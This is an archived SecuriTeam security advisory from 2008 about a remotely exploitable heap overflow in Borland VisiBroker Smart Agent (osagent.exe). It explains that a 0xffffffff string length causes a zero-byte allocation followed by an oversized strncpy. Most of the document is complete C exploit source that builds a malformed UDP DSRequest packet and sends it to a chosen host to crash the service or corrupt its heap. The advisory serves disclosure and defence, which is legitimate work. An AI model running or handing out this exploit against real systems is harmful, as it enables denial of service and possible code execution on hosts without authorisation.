[NT] Borland VisiBroker Smart Agent Heap Overflow
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 6 Mar 2008 11:57:50 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Borland VisiBroker Smart Agent Heap Overflow
------------------------------------------------------------------------
SUMMARY
" <http://www.borland.com/visibroker/> Borland VisiBroker is the most
widely deployed CORBA ORB infrastructure product on the market, with more
than 30 million licenses in use. Its robust CORBA-based environment makes
it ideal for developing and deploying distributed computing applications."
Smart Agent (osagent.exe) is a program which provides ORB object location
and failure detection services, it's an essential component for allowing
remote and local administrators (Borland VisiBroker Console) to manage and
locate the servers in the domain.
A remotely exploitable heap overflow has been found in the Borladn
VisiBroker Smart Agent product, this vulnerability could lead to arbitrary
code execution.
DETAILS
Vulnerable Systems:
* Borland VisiBroker Smart Agent version 08.00.00.C1.03
Smart Agent binds the UDP port 14000 and an UDP and TCP port which changes
at every launch (the first free ports to bind found by the program).
The protocol used on these three ports (so all exploitables) includes the
handling of strings that are composed by a 32 bit number which tells how
much long is the string and a subsequent 32 bit number which specifies the
size in the packet padded to 8.
It's enough to set 0xffffffff as first number to cause the allocation of 0
bytes of memory (0xffffffff + 1) and the subsequent usage of
strncpy(allocated_memory, our_string, our_padded_size) which can allow an
attacker to crash the service or possibly executing malicious code.
Exists also a secondary minor vulnerability, in fact the server is
automatically terminated if the amount of memory specified by the
client can't be allocated.
Exploit:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/visibroken.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>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
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
int putsh(u8 *dst, u8 *str, int req, int exploit);
int putmm(u8 *data, u8 *str, int len);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
struct linger ling = {1,1};
int sd,
on = 1;
u16 port = PORT;
u8 buff[sizeof(HOF) + 256],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Borland VisiBroker Smart Agent <= 08.00.00.C1.03 heap overflow
"VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
p = buff;
p += 4;
p += putsh(p, "DSRequest", 1, 0);
p += putsh(p, HOF, 0, 1);
p += putxx(p, 1, 32);
p += putxx(p, -1, 32);
p += putxx(p, 4, 32);
p += putxx(p, 0, 32);
p += putxx(p, 8, 32);
p += putsh(p, "::", 1, 0);
putxx(buff, p - buff, 32);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
printf("- send malformed Smart Agent packet\n");
sendto(sd, buff, p - buff, 0, (struct sockaddr *)&peer, sizeof(peer));
sleep(ONESEC);
close(sd);
printf("- done\n");
return(0);
}
int putsh(u8 *dst, u8 *str, int req, int exploit) {
int len,
padlen;
u8 *p;
len = strlen(str) + 1;
p = dst;
if(req) {
p += putxx(p, 0x3a000000, 32);
p += putxx(p, len, 32);
p += putmm(p, str, len);
} else {
padlen = (len + 7) & (~7);
p += putxx(p, exploit ? (-1) : len, 32);
p += putxx(p, padlen, 32);
p += putmm(p, str, len);
p += putcc(p, 0, padlen - len);
}
return(p - dst);
}
int putmm(u8 *data, u8 *str, int len) {
memcpy(data, str, len);
return(len);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/visibroken-adv.txt>
http://aluigi.altervista.org/adv/visibroken-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Perforce Server Multiple Vulnerabilities
- Next by Date: [NT] Versant Object Database Arbitrary Commands Execution
- Previous by thread: [NT] Perforce Server Multiple Vulnerabilities
- Next by thread: [NT] Versant Object Database Arbitrary Commands Execution
- Index(es):
Relevant Pages
- [EXPL] Quake 3 Buffer Overflow (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... port and exit cleanly with
an unsuspicious error message. ... unsigned char ipx; ... int hooklen; //
for both sendservercommand and directconnect ... (Securiteam) - [NT] SLMail Pro Multiple Denial of Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The SLMail Pro Web Service running
on port 801 is ... int main{ ... (Securiteam) - [NT] FTP Log Server Socket Termination
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... FTP Log Server Socket Termination
... with Ipswitch WS_FTP which works on the UDP port 5151 and is used for all ...
int main{ ... (Securiteam) - [EXPL] Metamail Buffer Overflow Exploit (From Header)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... UDP port at 13330. ...
Now you can send your shellcode to port 13330, ... int gen_nops ... (Securiteam) - [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows)
... The buffers in which the server stores these two strings have a size of 64 ...
int alen, ulen; ... (Securiteam)